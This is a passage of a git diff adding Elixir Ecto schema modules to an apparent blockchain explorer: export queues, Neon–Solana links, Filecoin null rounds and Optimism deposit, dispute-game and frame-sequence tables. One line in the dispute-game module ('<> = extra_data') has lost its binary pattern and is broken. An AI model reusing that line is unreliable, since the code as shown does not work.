Multi.t() + def delete_query(queue_items) do + queue_items + |> Enum.reduce(Multi.new(), fn queue_item, multi_acc -> + Multi.delete_all( + multi_acc, + {queue_item.timestamp, queue_item.counter_type}, + from(q in __MODULE__, + where: q.timestamp == ^queue_item.timestamp and q.counter_type == ^queue_item.counter_type + ) + ) + end) + end + + @doc """ + Returns the current number of items in the queue. + + ## Returns + - The current number of items in the queue. + """ + @spec queue_size() :: non_neg_integer() + def queue_size do + Repo.aggregate(__MODULE__, :count) + end + + @doc """ + Returns an Ecto query that defines the conflict resolution strategy for the + `multichain_search_db_export_counters_queue` table. On conflict, it increments the `retries_number` + (by using the db stored value or 0 if not present) and updates the + `updated_at` field to the greatest value between the current and the new timestamp. + + This is typically used in upsert operations to ensure retry counts are tracked and + timestamps are properly updated. + """ + @spec increase_retries_on_conflict :: Ecto.Query.t() + def increase_retries_on_conflict do + from( + q in __MODULE__, + update: [ + set: [ + retries_number: fragment("COALESCE(?, 0) + 1", q.retries_number), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", q.updated_at) + ] + ] + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/multichain_search_db/main_export_queue.ex b/apps/explorer/lib/explorer/chain/multichain_search_db/main_export_queue.ex new file mode 100644 index 000000000000..d2a426d4ee7b --- /dev/null +++ b/apps/explorer/lib/explorer/chain/multichain_search_db/main_export_queue.ex @@ -0,0 +1,112 @@ +defmodule Explorer.Chain.MultichainSearchDb.MainExportQueue do + @moduledoc """ + Tracks main blockchain data: block, transaction hashes, addresses with the metadata and block ranges, + pending for export to the Multichain Service database. + """ + + use Explorer.Schema + import Ecto.Query + alias Explorer.Chain.Block.Range + alias Explorer.Repo + + @required_attrs ~w(hash hash_type)a + @optional_attrs ~w(block_range retries_number)a + @allowed_attrs @optional_attrs ++ @required_attrs + + @primary_key false + typed_schema "multichain_search_db_main_export_queue" do + field(:hash, :binary, null: false) + + field(:hash_type, Ecto.Enum, + values: [ + :block, + :transaction, + :address + ], + null: false + ) + + field(:retries_number, :integer) + field(:block_range, Range) + + timestamps() + end + + def changeset(%__MODULE__{} = pending_ops, attrs) do + pending_ops + |> cast(attrs, @allowed_attrs) + |> validate_required(@required_attrs) + end + + @spec stream_multichain_db_data_batch( + initial :: accumulator, + reducer :: (entry :: map(), accumulator -> accumulator), + limited? :: boolean() + ) :: {:ok, accumulator} + when accumulator: term() + def stream_multichain_db_data_batch(initial, reducer, limited? \\ false) + when is_function(reducer, 2) do + __MODULE__ + |> select([export], %{ + hash: export.hash, + hash_type: export.hash_type, + block_range: export.block_range + }) + |> order_by([export], fragment("upper(?) DESC", export.block_range)) + |> add_main_queue_fetcher_limit(limited?) + |> Repo.stream_reduce(initial, reducer) + end + + defp add_main_queue_fetcher_limit(query, false), do: query + + defp add_main_queue_fetcher_limit(query, true) do + main_queue_fetcher_limit = + Application.get_env(:indexer, Indexer.Fetcher.MultichainSearchDb.MainExportQueue)[:init_limit] + + limit(query, ^main_queue_fetcher_limit) + end + + @doc """ + Builds a query to retrieve records from the `Explorer.Chain.MultichainSearchDb.MainExportQueue` module + where the `hash` field matches any of the given `hashes`. + + ## Parameters + + - `hashes`: A list of hash values to filter the records by. + + ## Returns + + - An Ecto query that can be executed to fetch the matching records. + """ + @spec by_hashes_query([binary()]) :: Ecto.Query.t() + def by_hashes_query(hashes) do + # todo: In order to prevent deadlocks consider ordering by `hash` + # and rewrite logic to acquire items first with locking + # then deleting them. + __MODULE__ + |> where([export], export.hash in ^hashes) + end + + @doc """ + Returns an Ecto query that defines the default behavior for handling conflicts + when inserting into the `multichain_search_db_main_export_queue` table. + + On conflict, this query: + - Increments the `retries_number` field by 1 (or sets it to 1 if it was `nil`). + - Sets the `updated_at` field to the greatest value between the current and the excluded `updated_at`. + + This is typically used with `on_conflict` options in Ecto insert operations. + """ + @spec default_on_conflict :: Ecto.Query.t() + def default_on_conflict do + from( + multichain_search_db_main_export_queue in __MODULE__, + update: [ + set: [ + retries_number: fragment("COALESCE(?, 0) + 1", multichain_search_db_main_export_queue.retries_number), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", multichain_search_db_main_export_queue.updated_at) + ] + ] + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/multichain_search_db/token_info_export_queue.ex b/apps/explorer/lib/explorer/chain/multichain_search_db/token_info_export_queue.ex new file mode 100644 index 000000000000..860f6705016c --- /dev/null +++ b/apps/explorer/lib/explorer/chain/multichain_search_db/token_info_export_queue.ex @@ -0,0 +1,128 @@ +defmodule Explorer.Chain.MultichainSearchDb.TokenInfoExportQueue do + @moduledoc """ + Tracks token data, pending for export to the Multichain Service database. + """ + + use Explorer.Schema + + import Ecto.Query + + alias Explorer.Repo + + @required_attrs ~w(address_hash data_type data)a + @optional_attrs ~w(retries_number)a + @allowed_attrs @optional_attrs ++ @required_attrs + + @primary_key false + typed_schema "multichain_search_db_export_token_info_queue" do + field(:address_hash, :binary, null: false, primary_key: true) + + field(:data_type, Ecto.Enum, + values: [ + :metadata, + :total_supply, + :counters, + :market_data + ], + null: false, + primary_key: true + ) + + field(:data, :map) + field(:retries_number, :integer) + + timestamps() + end + + def changeset(%__MODULE__{} = queue, attrs) do + queue + |> cast(attrs, @allowed_attrs) + |> validate_required(@required_attrs) + end + + @doc """ + Streams a batch of multichain database token info entries that need to be retried for export. + + This function selects specific fields from the export records and applies a reducer function to each entry in the stream, accumulating the result. Optionally, the stream can be limited based on the `limited?` flag. + + ## Parameters + - `initial`: The initial accumulator value. + - `reducer`: A function that takes an entry (as a map) and the current accumulator, returning the updated accumulator. + - `limited?` (optional): A boolean indicating whether to apply a fetch limit to the stream. Defaults to `false`. + + ## Returns + - `{:ok, accumulator}`: A tuple containing `:ok` and the final accumulator after processing the stream. + """ + @spec stream_multichain_db_token_info_batch( + initial :: accumulator, + reducer :: (entry :: map(), accumulator -> accumulator), + limited? :: boolean() + ) :: {:ok, accumulator} + when accumulator: term() + def stream_multichain_db_token_info_batch(initial, reducer, limited? \\ false) when is_function(reducer, 2) do + __MODULE__ + |> select([export], %{ + address_hash: export.address_hash, + data_type: export.data_type, + data: export.data + }) + |> add_queue_fetcher_limit(limited?) + |> Repo.stream_reduce(initial, reducer) + end + + defp add_queue_fetcher_limit(query, false), do: query + + defp add_queue_fetcher_limit(query, true) do + limit = Application.get_env(:indexer, Indexer.Fetcher.MultichainSearchDb.TokenInfoExportQueue)[:init_limit] + limit(query, ^limit) + end + + @doc """ + Constructs query for DELETE FROM query for the token info item to be deleted from the queue. + + ## Parameters + - `queue_item`: An item to be deleted from the queue. The item is identified by its primary key. + + ## Returns + - An `Ecto.Query` struct containing the delete operation. + """ + @spec delete_query(%{:address_hash => binary(), :data_type => atom(), optional(:data) => map()}) :: Ecto.Query.t() + def delete_query(queue_item) do + from(q in __MODULE__, + where: q.address_hash == ^queue_item.address_hash and q.data_type == ^queue_item.data_type + ) + end + + @doc """ + Returns the current number of items in the queue. + + ## Returns + - The current number of items in the queue. + """ + @spec queue_size() :: non_neg_integer() + def queue_size do + Repo.aggregate(__MODULE__, :count) + end + + @doc """ + Returns an Ecto query that defines the conflict resolution strategy for the + `multichain_search_db_export_token_info_queue` table. On conflict, it increments the `retries_number` + (by using the db stored value or 0 if not present) and updates the + `updated_at` field to the greatest value between the current and the new timestamp. + + This is typically used in upsert operations to ensure retry counts are tracked and + timestamps are properly updated. + """ + @spec increase_retries_on_conflict :: Ecto.Query.t() + def increase_retries_on_conflict do + from( + q in __MODULE__, + update: [ + set: [ + retries_number: fragment("COALESCE(?, 0) + 1", q.retries_number), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", q.updated_at) + ] + ] + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/neon/linked_solana_transactions.ex b/apps/explorer/lib/explorer/chain/neon/linked_solana_transactions.ex new file mode 100644 index 000000000000..9a0548b5b4c1 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/neon/linked_solana_transactions.ex @@ -0,0 +1,40 @@ +defmodule Explorer.Chain.Neon.LinkedSolanaTransactions do + @moduledoc """ + A relation table between a regular EVM transaction and multiple Solana transactions + """ + use Explorer.Schema + + alias Explorer.Chain.{Hash, Transaction} + + @required_attrs ~w(neon_transaction_hash solana_transaction_hash)a + + @primary_key false + typed_schema "neon_linked_solana_transactions" do + field(:neon_transaction_hash, :binary) + field(:solana_transaction_hash, :string) + + belongs_to(:transaction, Transaction, + foreign_key: :neon_transaction_hash, + primary_key: true, + references: :hash, + type: Hash.Full, + define_field: false + ) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = struct, attrs \\ %{}) do + struct + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:neon_transaction_hash, + name: "neon_linked_solana_transactions_neon_transaction_hash_fkey" + ) + |> unique_constraint(:solana_transaction_hash, name: "neon_linked_solana_transactions_hash_index") + end +end diff --git a/apps/explorer/lib/explorer/chain/null_round_height.ex b/apps/explorer/lib/explorer/chain/null_round_height.ex new file mode 100644 index 000000000000..d89b763dcd11 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/null_round_height.ex @@ -0,0 +1,153 @@ +defmodule Explorer.Chain.NullRoundHeight do + @moduledoc """ + Manages and tracks null round heights in the Filecoin blockchain. + + A null round in Filecoin occurs when no miner successfully wins the leader election + for a particular epoch, resulting in no block production. When this happens, the + next successful block links to the last valid block, creating a gap in block + heights. For example, if block at height 100 links to block at height 98, height + 99 represents a null round. + + ## Example + + # Insert multiple null round heights + NullRoundHeight.insert_heights([100, 102, 105]) + + # Find the actual next block number considering null rounds + NullRoundHeight.neighbor_block_number(99, :next) + # Returns 101 if 100 is a null round + + # Get total count of null rounds + NullRoundHeight.total() + """ + + use Explorer.Schema + + alias Explorer.Chain.BlockNumberHelper + alias Explorer.Repo + + @null_rounds_batch_size 5 + + @primary_key false + schema "null_round_heights" do + field(:height, :integer, primary_key: true) + end + + def changeset(null_round_height \\ %__MODULE__{}, params) do + null_round_height + |> cast(params, [:height]) + |> validate_required([:height]) + |> unique_constraint(:height) + end + + @doc """ + Returns the total count of null rounds recorded in the database. + + ## Returns + - The total number of null round heights stored in the database. + """ + @spec total() :: non_neg_integer() + def total do + Repo.aggregate(__MODULE__, :count) + end + + @doc """ + Inserts multiple null round heights into the database while preventing duplicates. + + The function processes the input list by removing duplicates and transforming heights + into the required map structure before performing a bulk insert operation. + + ## Parameters + - `heights`: List of block heights representing null rounds to be recorded. + + ## Returns + - The number of null round heights successfully inserted. + """ + @spec insert_heights([non_neg_integer()]) :: {non_neg_integer(), nil | [term()]} + def insert_heights(heights) do + params = + heights + |> Enum.uniq() + |> Enum.map(&%{height: &1}) + + Repo.insert_all(__MODULE__, params, on_conflict: :nothing) + end + + # Finds the neighboring block number in a sequence of null rounds. + # + # Analyzes a batch of previous null rounds to determine the actual neighboring block number, + # taking into account consecutive null rounds. + # + # ## Parameters + # - `previous_null_rounds`: List of null round heights to analyze + # - `number`: The reference block height + # - `direction`: Either `:previous` or `:next` to indicate search direction + # + # ## Returns + # - The neighboring block number considering the sequence of null rounds + @spec find_neighbor_from_previous(list(non_neg_integer()), non_neg_integer(), :previous | :next) :: non_neg_integer() + defp find_neighbor_from_previous(previous_null_rounds, number, direction) do + previous_null_rounds + |> Enum.reduce_while({number, nil}, fn height, {current, _result} -> + if height == BlockNumberHelper.move_by_one(current, direction) do + {:cont, {height, nil}} + else + {:halt, {nil, BlockNumberHelper.move_by_one(current, direction)}} + end + end) + |> elem(1) + |> case do + nil -> + previous_null_rounds + |> List.last() + |> neighbor_block_number(direction) + + number -> + number + end + end + + @doc """ + Determines the actual neighboring block number considering null rounds. + + When traversing the blockchain, this function helps navigate through null rounds + to find the actual previous or next block number. It accounts for consecutive + null rounds by querying the database in batches. + + ## Parameters + - `number`: The reference block height + - `direction`: Either `:previous` or `:next` to indicate search direction + + ## Returns + - The actual neighboring block number, accounting for any null rounds + """ + @spec neighbor_block_number(non_neg_integer(), :previous | :next) :: non_neg_integer() + def neighbor_block_number(number, direction) do + case fetch_neighboring_null_rounds(number, direction) do + [] -> + BlockNumberHelper.move_by_one(number, direction) + + previous_null_rounds -> + find_neighbor_from_previous(previous_null_rounds, number, direction) + end + end + + # Constructs a query to fetch neighboring null round heights in batches. + @spec neighboring_null_rounds_query(non_neg_integer(), :previous | :next) :: Ecto.Query.t() + defp neighboring_null_rounds_query(number, :previous) do + from(nrh in __MODULE__, where: nrh.height < ^number, order_by: [desc: :height], limit: @null_rounds_batch_size) + end + + defp neighboring_null_rounds_query(number, :next) do + from(nrh in __MODULE__, where: nrh.height > ^number, order_by: [asc: :height], limit: @null_rounds_batch_size) + end + + # Fetches the next batch of null round heights from the database + @spec fetch_neighboring_null_rounds(non_neg_integer(), :previous | :next) :: [non_neg_integer()] + defp fetch_neighboring_null_rounds(number, direction) do + number + |> neighboring_null_rounds_query(direction) + |> select([nrh], nrh.height) + |> Repo.all() + end +end diff --git a/apps/explorer/lib/explorer/chain/optimism/deposit.ex b/apps/explorer/lib/explorer/chain/optimism/deposit.ex new file mode 100644 index 000000000000..021c4a11d463 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/optimism/deposit.ex @@ -0,0 +1,105 @@ +defmodule Explorer.Chain.Optimism.Deposit do + @moduledoc "Models a deposit for Optimism." + + use Explorer.Schema + + import Explorer.Chain, only: [default_paging_options: 0, join_association: 3, select_repo: 1] + + alias Explorer.Chain.{Hash, Transaction} + alias Explorer.PagingOptions + + @required_attrs ~w(l1_block_number l1_transaction_hash l1_transaction_origin l2_transaction_hash)a + @optional_attrs ~w(l1_block_timestamp)a + @allowed_attrs @required_attrs ++ @optional_attrs + + @typedoc """ + * `l1_block_number` - The block number on L1 when the L1 transaction occurred. + * `l1_block_timestamp` - Timestamp of the L1 block. + * `l1_transaction_hash` - The deposit transaction hash on L1. + * `l1_transaction_origin` - Origin address of the deposit. + * `l2_transaction_hash` - The corresponding L2 transaction hash of the deposit. + * `l2_transaction` - An instance of `Explorer.Chain.Transaction` referenced by `l2_transaction_hash`. + """ + @primary_key false + typed_schema "op_deposits" do + field(:l1_block_number, :integer) + field(:l1_block_timestamp, :utc_datetime_usec) + field(:l1_transaction_hash, Hash.Full) + field(:l1_transaction_origin, Hash.Address) + + belongs_to(:l2_transaction, Transaction, + foreign_key: :l2_transaction_hash, + primary_key: true, + references: :hash, + type: Hash.Full + ) + + timestamps() + end + + def changeset(%__MODULE__{} = deposit, attrs \\ %{}) do + deposit + |> cast(attrs, @allowed_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:l2_transaction_hash) + end + + def last_deposit_l1_block_number_query do + from(d in __MODULE__, + select: {d.l1_block_number, d.l1_transaction_hash}, + order_by: [desc: d.l1_block_number], + limit: 1 + ) + end + + @doc """ + Forms a query to remove all Deposits with the specified L1 block number. + Used by the `Indexer.Fetcher.Optimism.Deposit` module. + + ## Parameters + - `l1_block_number`: The L1 block number for which the Deposits should be removed + from the `op_deposits` database table. + + ## Returns + - A query which can be used by the `delete_all` function. + """ + @spec remove_deposits_query(non_neg_integer()) :: Ecto.Queryable.t() + def remove_deposits_query(l1_block_number) do + from(d in __MODULE__, where: d.l1_block_number == ^l1_block_number) + end + + @doc """ + Lists `t:Explorer.Chain.Optimism.Deposit.t/0`'s' in descending order based on l1_block_number and l2_transaction_hash. + + """ + @spec list :: [__MODULE__.t()] + def list(options \\ []) do + paging_options = Keyword.get(options, :paging_options, default_paging_options()) + + case paging_options do + %PagingOptions{key: {0, _l2_transaction_hash}} -> + [] + + _ -> + base_query = + from(d in __MODULE__, + order_by: [desc: d.l1_block_number, desc: d.l2_transaction_hash] + ) + + base_query + |> join_association(:l2_transaction, :required) + |> page_deposits(paging_options) + |> limit(^paging_options.page_size) + |> select_repo(options).all(timeout: :infinity) + end + end + + defp page_deposits(query, %PagingOptions{key: nil}), do: query + + defp page_deposits(query, %PagingOptions{key: {block_number, l2_transaction_hash}}) do + from(d in query, + where: d.l1_block_number < ^block_number, + or_where: d.l1_block_number == ^block_number and d.l2_transaction_hash < ^l2_transaction_hash + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/optimism/dispute_game.ex b/apps/explorer/lib/explorer/chain/optimism/dispute_game.ex new file mode 100644 index 000000000000..b0d313add873 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/optimism/dispute_game.ex @@ -0,0 +1,124 @@ +defmodule Explorer.Chain.Optimism.DisputeGame do + @moduledoc "Models a dispute game for Optimism." + + use Explorer.Schema + + import Ecto.Query + import Explorer.Chain, only: [default_paging_options: 0, select_repo: 1] + + alias Explorer.Chain.Cache.ChainId + alias Explorer.Chain.{Data, Hash} + alias Explorer.{PagingOptions, Repo} + + @required_attrs ~w(index game_type address_hash created_at)a + @optional_attrs ~w(extra_data resolved_at status)a + + @chain_id_bob_mainnet 60_808 + @chain_id_bob_sepolia 808_813 + + @typedoc """ + * `index` - A unique index of the dispute game. + * `game_type` - A number encoding a type of the dispute game. + * `address_hash` - The dispute game contract address. + * `extra_data` - An extra data of the dispute game (contains L2 block number). + Equals to `nil` when the game is written to database but the rest data is not known yet. + * `created_at` - UTC timestamp of when the dispute game was created. + * `resolved_at` - UTC timestamp of when the dispute game was resolved. + Equals to `nil` if the game is not resolved yet. + * `status` - 0 means the game is in progress (not resolved yet), 1 means a challenger wins, 2 means a defender wins. + Equals to `nil` when the game is written to database but the rest data is not known yet. + """ + @primary_key false + typed_schema "op_dispute_games" do + field(:index, :integer, primary_key: true) + field(:game_type, :integer) + field(:address_hash, Hash.Address) + field(:extra_data, Data) + field(:created_at, :utc_datetime_usec) + field(:resolved_at, :utc_datetime_usec) + field(:status, :integer) + + timestamps() + end + + def changeset(%__MODULE__{} = games, attrs \\ %{}) do + games + |> cast(attrs, @required_attrs ++ @optional_attrs) + |> validate_required(@required_attrs) + |> unique_constraint(:index) + end + + @doc """ + Returns the last index written to op_dispute_games table. If there is no one, returns -1. + """ + @spec get_last_known_index() :: integer() + def get_last_known_index do + query = + from(game in __MODULE__, + select: game.index, + order_by: [desc: game.index], + limit: 1 + ) + + query + |> Repo.one() + |> Kernel.||(-1) + end + + @doc """ + Lists `t:Explorer.Chain.Optimism.DisputeGame.t/0`'s' in descending order based on a game index. + + """ + @spec list :: [__MODULE__.t()] + def list(options \\ []) do + paging_options = Keyword.get(options, :paging_options, default_paging_options()) + + base_query = + from(g in __MODULE__, + order_by: [desc: g.index], + select: g + ) + + base_query + |> page_dispute_games(paging_options) + |> limit(^paging_options.page_size) + |> select_repo(options).all(timeout: :infinity) + end + + @doc """ + Retrieves L2 block number from the `extraData` field of the dispute game. The L2 block number can be encoded in + different ways depending on the chain. + + ## Parameters + - `extra_data`: The byte sequence of the extra data to retrieve L2 block number from. + + ## Returns + - L2 block number of the dispute game. + """ + @spec l2_block_number_from_extra_data(Data.t() | nil) :: non_neg_integer() + def l2_block_number_from_extra_data(nil), do: 0 + + def l2_block_number_from_extra_data(%Data{bytes: extra_data}) do + current_chain_id = + case ChainId.get_id() do + nil -> Application.get_env(:block_scout_web, :chain_id) + chain_id -> chain_id + end + + first_bits = + if current_chain_id in [@chain_id_bob_mainnet, @chain_id_bob_sepolia] do + 64 + else + 256 + end + + <> = extra_data + l2_block_number + end + + defp page_dispute_games(query, %PagingOptions{key: nil}), do: query + + defp page_dispute_games(query, %PagingOptions{key: {index}}) do + from(g in query, where: g.index < ^index) + end +end diff --git a/apps/explorer/lib/explorer/chain/optimism/eip1559_config_update.ex b/apps/explorer/lib/explorer/chain/optimism/eip1559_config_update.ex new file mode 100644 index 000000000000..061273e6b808 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/optimism/eip1559_config_update.ex @@ -0,0 +1,107 @@ +defmodule Explorer.Chain.Optimism.EIP1559ConfigUpdate do + @moduledoc "Models EIP-1559 config updates for Optimism (introduced by Holocene upgrade)." + + use Explorer.Schema + + alias Explorer.Chain.Hash + alias Explorer.Repo + + @required_attrs ~w(l2_block_number l2_block_hash base_fee_max_change_denominator elasticity_multiplier)a + + @typedoc """ + * `l2_block_number` - An L2 block number where the config update was registered. + * `l2_block_hash` - An L2 block hash where the config update was registered. + * `base_fee_max_change_denominator` - A new value of the denominator. + * `elasticity_multiplier` - A new value of the multiplier. + """ + @primary_key false + typed_schema "op_eip1559_config_updates" do + field(:l2_block_number, :integer, primary_key: true) + field(:l2_block_hash, Hash.Full) + field(:base_fee_max_change_denominator, :integer) + field(:elasticity_multiplier, :integer) + + timestamps() + end + + @doc """ + Validates that the attributes are valid. + """ + def changeset(%__MODULE__{} = updates, attrs \\ %{}) do + updates + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + end + + @doc """ + Reads the config actual before the specified block from the `op_eip1559_config_updates` table. + + ## Parameters + - `block_number`: The block number for which we need to read the actual config. + + ## Returns + - `{denominator, multiplier}` tuple in case the config exists. + - `nil` if the config is unknown. + """ + @spec actual_config_for_block(non_neg_integer()) :: {non_neg_integer(), non_neg_integer()} | nil + def actual_config_for_block(block_number) do + query = + from(u in __MODULE__, + select: {u.base_fee_max_change_denominator, u.elasticity_multiplier}, + where: u.l2_block_number < ^block_number, + order_by: [desc: u.l2_block_number], + limit: 1 + ) + + Repo.one(query) + end + + @doc """ + Reads the last row from the `op_eip1559_config_updates` table. + + ## Returns + - `{l2_block_number, l2_block_hash}` tuple for the last row. + - `{0, nil}` if there are no rows in the table. + """ + @spec get_last_item() :: {non_neg_integer(), binary() | nil} + def get_last_item do + query = + from(u in __MODULE__, select: {u.l2_block_number, u.l2_block_hash}, order_by: [desc: u.l2_block_number], limit: 1) + + query + |> Repo.one() + |> Kernel.||({0, nil}) + end + + @doc """ + Removes rows from the `op_eip1559_config_updates` table which relate to + pre-Holocene period or which have l2_block_number greater than the latest block number. + They could be created mistakenly as a result of the incorrect value of + INDEXER_OPTIMISM_L2_HOLOCENE_TIMESTAMP env variable or due to reorg. + + ## Parameters + - `block_number`: L2 block number of the Holocene upgrade. + - `latest_block_number`: The latest block number. + + ## Returns + - A number of removed rows. + """ + @spec remove_invalid_updates(non_neg_integer(), integer()) :: non_neg_integer() + + def remove_invalid_updates(0, latest_block_number) do + {deleted_count, _} = + Repo.delete_all(from(u in __MODULE__, where: u.l2_block_number > ^latest_block_number), timeout: :infinity) + + deleted_count + end + + def remove_invalid_updates(block_number, latest_block_number) do + {deleted_count, _} = + Repo.delete_all( + from(u in __MODULE__, where: u.l2_block_number < ^block_number or u.l2_block_number > ^latest_block_number), + timeout: :infinity + ) + + deleted_count + end +end diff --git a/apps/explorer/lib/explorer/chain/optimism/frame_sequence.ex b/apps/explorer/lib/explorer/chain/optimism/frame_sequence.ex new file mode 100644 index 000000000000..fda6f9dbf1e2 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/optimism/frame_sequence.ex @@ -0,0 +1,236 @@ +defmodule Explorer.Chain.Optimism.FrameSequence do + @moduledoc """ + Models a frame sequence for Optimism. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Optimism.FrameSequences + + Migrations: + - Explorer.Repo.Migrations.AddOpFrameSequencesTable + - Explorer.Repo.Optimism.Migrations.AddViewReadyField + - Explorer.Repo.Optimism.Migrations.AddFrameSequenceIdPrevField + """ + + use Explorer.Schema + + import Explorer.Chain, only: [default_paging_options: 0, select_repo: 1] + + alias Explorer.Chain.{Hash, Transaction} + alias Explorer.Chain.Optimism.{FrameSequenceBlob, TransactionBatch} + alias Explorer.PagingOptions + + @required_attrs ~w(id l1_transaction_hashes l1_timestamp)a + + @typedoc """ + * `l1_transaction_hashes` - The list of L1 transaction hashes where the frame sequence is stored. + * `l1_timestamp` - UTC timestamp of the last L1 transaction of `l1_transaction_hashes` list. + * `view_ready` - Boolean flag indicating if the frame sequence is ready for displaying on UI. + * `transaction_batches` - Instances of `Explorer.Chain.Optimism.TransactionBatch` bound with this frame sequence. + * `blobs` - Instances of `Explorer.Chain.Optimism.FrameSequenceBlob` bound with this frame sequence. + """ + @primary_key {:id, :integer, autogenerate: false} + typed_schema "op_frame_sequences" do + field(:l1_transaction_hashes, {:array, Hash.Full}) + field(:l1_timestamp, :utc_datetime_usec) + field(:view_ready, :boolean) + + has_many(:transaction_batches, TransactionBatch, foreign_key: :frame_sequence_id) + has_many(:blobs, FrameSequenceBlob, foreign_key: :frame_sequence_id) + + timestamps() + end + + @doc """ + Validates that the attributes are valid. + """ + def changeset(%__MODULE__{} = sequences, attrs \\ %{}) do + sequences + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> unique_constraint(:id) + end + + @doc """ + Finds and returns L1 batch data from the op_frame_sequences and + op_frame_sequence_blobs DB tables by Celestia blob's commitment and height. + + ## Parameters + - `commitment`: Blob's commitment in the form of hex string beginning with 0x prefix. + - `height`: Blob's height. + - `options`: A keyword list of options that may include whether to use a replica database. + + ## Returns + - A map with info about L1 batch bound to the specified Celestia blob. + - nil if the blob is not found. + """ + @spec batch_by_celestia_blob(binary(), non_neg_integer(), list()) :: map() | nil + def batch_by_celestia_blob(commitment, height, options \\ []) do + commitment = Base.decode16!(String.trim_leading(commitment, "0x"), case: :mixed) + height = :binary.encode_unsigned(height) + key = :crypto.hash(:sha256, height <> commitment) + + query = + from(fsb in FrameSequenceBlob, + select: fsb.frame_sequence_id, + where: fsb.key == ^key and fsb.type == :celestia + ) + + frame_sequence_id = select_repo(options).one(query) + + if not is_nil(frame_sequence_id) do + batch_by_number(frame_sequence_id, options) + end + end + + @doc """ + Finds and returns L1 batch data from the op_frame_sequences and + op_frame_sequence_blobs DB tables by the internal id of the batch. + + ## Parameters + - `number`: Batch'es number. + - `options`: A keyword list of options that may include whether to use a replica database + and/or whether to include blobs (true by default). + + ## Returns + - A map with info about L1 batch having the specified id. + - nil if the batch is not found. + """ + @spec batch_by_number(non_neg_integer(), list()) :: map() | nil + def batch_by_number(number, options \\ []) do + query = + from(fs in __MODULE__, + where: fs.id == ^number and fs.view_ready == true + ) + + batch = select_repo(options).one(query) + + if not is_nil(batch) do + l2_block_number_from = TransactionBatch.edge_l2_block_number(number, :min) + l2_block_number_to = TransactionBatch.edge_l2_block_number(number, :max) + transactions_count = Transaction.transaction_count_for_block_range(l2_block_number_from..l2_block_number_to) + + {batch_data_container, blobs} = + if Keyword.get(options, :include_blobs?, true) do + FrameSequenceBlob.list(number, options) + else + {nil, []} + end + + result = + prepare_base_info_for_batch( + number, + l2_block_number_from, + l2_block_number_to, + transactions_count, + batch_data_container, + batch + ) + + if Enum.empty?(blobs) do + result + else + Map.put(result, :blobs, blobs) + end + end + end + + @doc """ + Transforms an L1 batch into a map format for HTTP response. + + This function processes an Optimism L1 batch and converts it into a map that + includes basic batch information. + + ## Parameters + - `number`: Number of the batch. + - `l2_block_number_from`: Start L2 block number of the batch block range. + - `l2_block_number_to`: End L2 block number of the batch block range. + - `transactions_count`: The L2 transaction count included into the blocks of the range. + - `batch_data_container`: Designates where the batch info is stored: :in_blob4844, :in_celestia, or :in_calldata. + Can be `nil` if the container is unknown. + - `batch`: Either an `Explorer.Chain.Optimism.FrameSequence` entry or a map with + the corresponding fields. + + ## Returns + - A map with detailed information about the batch formatted for use in JSON HTTP responses. + """ + @spec prepare_base_info_for_batch( + non_neg_integer(), + non_neg_integer(), + non_neg_integer(), + non_neg_integer(), + :in_blob4844 | :in_celestia | :in_calldata | nil, + __MODULE__.t() + | %{:l1_timestamp => DateTime.t(), :l1_transaction_hashes => list(), optional(any()) => any()} + ) :: %{ + :number => non_neg_integer(), + :l1_timestamp => DateTime.t(), + :l2_start_block_number => non_neg_integer(), + :l2_end_block_number => non_neg_integer(), + :transactions_count => non_neg_integer(), + :l1_transaction_hashes => list(), + :batch_data_container => :in_blob4844 | :in_celestia | :in_calldata | nil + } + def prepare_base_info_for_batch( + number, + l2_block_number_from, + l2_block_number_to, + transactions_count, + batch_data_container, + batch + ) do + %{ + :number => number, + :l1_timestamp => batch.l1_timestamp, + :l2_start_block_number => l2_block_number_from, + :l2_end_block_number => l2_block_number_to, + :transactions_count => transactions_count, + :l1_transaction_hashes => batch.l1_transaction_hashes, + :batch_data_container => batch_data_container + } + end + + @doc """ + Lists `t:Explorer.Chain.Optimism.FrameSequence.t/0`'s' in descending order based on id. + + ## Parameters + - `options`: A keyword list of options that may include whether to use a replica database, + paging options, and `only_view_ready` option. + + ## Returns + - A list of found entities sorted by `id` in descending order. + """ + @spec list(list()) :: [__MODULE__.t()] + def list(options \\ []) do + paging_options = Keyword.get(options, :paging_options, default_paging_options()) + only_view_ready = Keyword.get(options, :only_view_ready?, false) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + base_query = + if only_view_ready do + from(fs in __MODULE__, + where: fs.view_ready == true, + order_by: [desc: fs.id] + ) + else + from(fs in __MODULE__, + order_by: [desc: fs.id] + ) + end + + base_query + |> page_frame_sequences(paging_options) + |> limit(^paging_options.page_size) + |> select_repo(options).all(timeout: :infinity) + end + end + + defp page_frame_sequences(query, %PagingOptions{key: nil}), do: query + + defp page_frame_sequences(query, %PagingOptions{key: {id}}) do + from(fs in query, where: fs.id < ^id) + end +end diff --git a/apps/explorer/lib/explorer/chain/optimism/frame_sequence_blob.ex b/apps/explorer/lib/explorer/chain/optimism/frame_sequence_blob.ex new file mode 100644 index 000000000000..001c3c2f318d --- /dev/null +++ b/apps/explorer/lib/explorer/chain/optimism/frame_sequence_blob.ex @@ -0,0 +1,116 @@ +defmodule Explorer.Chain.Optimism.FrameSequenceBlob do + @moduledoc """ + Models a blob related to Optimism frame sequence. + + Changes in the schema should be reflected in the bulk import module: + - 